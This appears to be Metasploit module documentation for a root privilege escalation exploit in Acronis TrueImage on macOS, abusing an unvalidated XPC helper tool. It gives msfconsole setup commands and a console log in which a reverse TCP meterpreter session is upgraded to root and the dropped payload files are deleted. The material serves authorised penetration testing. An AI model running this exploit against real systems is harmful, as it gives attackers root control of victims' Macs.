## Vulnerable Application

Acronis TrueImage versions 2019 update 1 through 2021 update 1
are vulnerable to privilege escalation. The `com.acronis.trueimagehelper`
helper tool does not perform any validation on connecting clients,
which gives arbitrary clients the ability to execute functions provided
by the helper tool with `root` privileges.

This module connects to the helper tool and executes the payload via
the helper tool's `executeProcess:arguments:caller:withReply:;` function,
granting a session as `root`.

### Installation Instructions

Run through the installer with all of the defaults. Once the application
is installed, open the application and allow the privileges requested.
That should be enough for the helper tool to be placed in the
`/Library/PrivilegedHelperTools` directory. You should not have to set up
a trial to get the exploit to work.

*Note* The 2021 version of Acronis TrueImage comes with an uninstaller
that will remove the helper tool if used. However, if the software is
uninstalled via the drag-and-drop method, the helper tool will be left behind.
The 2020 version does not appear to come with an uninstaller, so the helper tool
will need to be manually deleted from `/Library/PrivilegedHelperTools` when
uninstalling the software.

## Verification Steps

1. Install the application
2. Start msfconsole
3. Get a meterpreter or shell session on the target
4. Do: `use exploit/osx/local/acronis_trueimage_xpc_privesc`
5. Do: `set SESSION <session_no>`
6. Do: `run`
7. You should get a new session as root.

## Options

### WRITABLE_DIR

Directory to use to write exploit files to

### SHELL

Default shell to use for exploit

### COMPILE

Determines if exploit will be compiled on the target or if a pre-compiled exploit
will be used.

## Scenarios

### Acronis TrueImage Build 22510 on macOS 12.5

```
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (810648 bytes) to 192.168.140.204
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.204:53610) at 2022-11-15 08:44:36 -0600

meterpreter > getuid
Server username: space
meterpreter > sysinfo
Computer     : spaces-Mac.local
OS           :  (macOS 12.5.0)
Architecture : x64
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use exploit/osx/local/acronis_trueimage_xpc_privesc
[*] Using configured payload osx/x64/meterpreter/reverse_tcp
msf exploit(osx/local/acronis_trueimage_xpc_privesc) > set session 1
session => 1
msf exploit(osx/local/acronis_trueimage_xpc_privesc) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf exploit(osx/local/acronis_trueimage_xpc_privesc) > set lport 5555
lport => 5555
msf exploit(osx/local/acronis_trueimage_xpc_privesc) > set verbose true
verbose => true
msf exploit(osx/local/acronis_trueimage_xpc_privesc) > run

[*] Started reverse TCP handler on 192.168.140.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable build 22510 found
[*] Attempting to write payload at /tmp/FHQUXzNR
[*] Writing '/tmp/FHQUXzNR' (17204 bytes) ...
[+] Successfully wrote payload at /tmp/FHQUXzNR
[*] Successfully compiled iZMwhN.m...Now executing payload
[*] Transmitting first stager...(214 bytes)
[*] Transmitting second stager...(49152 bytes)
[*] Sending stage (810648 bytes) to 192.168.140.204
[+] Deleted /tmp/FHQUXzNR
[+] Deleted /tmp/iZMwhN.m
[+] Deleted /tmp/iZMwhN
[*] Meterpreter session 2 opened (192.168.140.1:5555 -> 192.168.140.204:53763) at 2022-11-15 08:45:13 -0600

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : spaces-Mac.local
OS           :  (macOS 12.5.0)
Architecture : x64
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx
```
